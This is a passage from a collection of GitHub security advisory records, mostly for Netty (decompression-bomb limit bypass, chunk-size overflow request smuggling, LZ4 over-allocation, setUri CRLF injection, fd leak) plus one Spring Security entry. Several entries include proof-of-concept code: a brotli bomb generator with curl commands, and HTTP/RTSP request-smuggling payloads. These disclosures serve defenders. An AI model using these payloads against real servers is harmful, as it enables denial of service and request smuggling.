HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n    f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: gzip\u0027 \\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: br\u0027 \\\n  --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
  "id": "GHSA-f6hv-jmp6-3vwv",
  "modified": "2026-05-14T20:41:29Z",
  "published": "2026-05-07T00:46:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:13:05Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n    String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n            \"100000004\\r\\n\" +\n            \"test\\r\\n\" +\n            \"0\\r\\n\" +\n            \"\\r\\n\" +\n            \"GET /smuggled HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Content-Length: 0\\r\\n\" +\n            \"\\r\\n\";\n\n    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n    // Request 1\n    HttpRequest request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    HttpContent content = channel.readInbound();\n    assertTrue(content.decoderResult().isSuccess());\n    assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n    content.release();\n    LastHttpContent last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n\n    // Request 2\n    request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-m4cv-j2px-7723",
  "modified": "2026-05-14T20:41:01Z",
  "published": "2026-05-07T00:13:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:20:35Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 \u003c\u003c 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
  "id": "GHSA-mj4r-2hfc-f8p6",
  "modified": "2026-05-14T20:41:13Z",
  "published": "2026-05-07T00:20:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:27:35Z",
    "nvd_published_at": "2026-05-06T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n        request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n                \"\\r\\n\" +\n                \"POST /s2 HTTP/1.1\\r\\n\" +\n                \"content-length: 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET /s1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n        while ((msg = server.readInbound()) != null) {\n            System.out.println(msg);\n        }\n\n        outbound.release();\n        client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n        request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n                \"CSeq: 1\\r\\n\\r\\n\" +\n                \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n                \"CSeq: 2\\r\\n\\r\\n\" +\n                \"OPTIONS rtsp://cam/final\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded RTSP request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by RtspDecoder ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n    }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
  "id": "GHSA-v8h7-rr48-vmmv",
  "modified": "2026-05-08T19:32:42Z",
  "published": "2026-05-05T18:27:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.7.0"
            },
            {
              "last_affected": "5.7.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.8.0"
            },
            {
              "last_affected": "5.8.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.3.0"
            },
            {
              "last_affected": "6.3.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4.0"
            },
            {
              "last_affected": "6.4.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.5.0"
            },
            {
              "fixed": "6.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22746"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:48:02Z",
    "nvd_published_at": "2026-04-22T06:16:02Z",
    "severity": "LOW"
  },
  "details": "Vulnerability in Spring Spring Security. If an application is using the\u00a0UserDetails#isEnabled,\u00a0#isAccountNonExpired, or\u00a0#isAccountNonLocked\u00a0user attributes, to enable, expire, or lock users, then\u00a0DaoAuthenticationProvider\u0027s timing attack defense can be bypassed for users who are disabled, expired, or locked. This issue affects Spring Security: from 5.7.0 through 5.7.22, from 5.8.0 through 5.8.24, from 6.3.0 through 6.3.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.",
  "id": "GHSA-vxf7-qj7q-83fh",
  "modified": "2026-04-29T20:48:02Z",
  "published": "2026-04-22T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22746"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-security"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-22746"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Security Vulnerable to User Attribute Enumeration when Using DaoAuthenticationProvider"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-epoll"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-kqueue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-kqueue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-epoll"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45536"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T23:01:33Z",
    "nvd_published_at": "2026-06-12T15:16:27Z",
    "severity": "MODERATE"
  },
  "details": "netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) \u2014 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg-\u003ecmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking \u2192 EAGAIN \u2192 Java maps to 0 \u2192 read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).",
  "id": "GHSA-w573-9ffj-6ff9",
  "modified": "2026-06-12T19:29:26Z",
  "published": "2026-06-08T23:01:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-w573-9ffj-6ff9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45536"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Unix-socket fd receive leaks descriptors when peer sends two at once"
}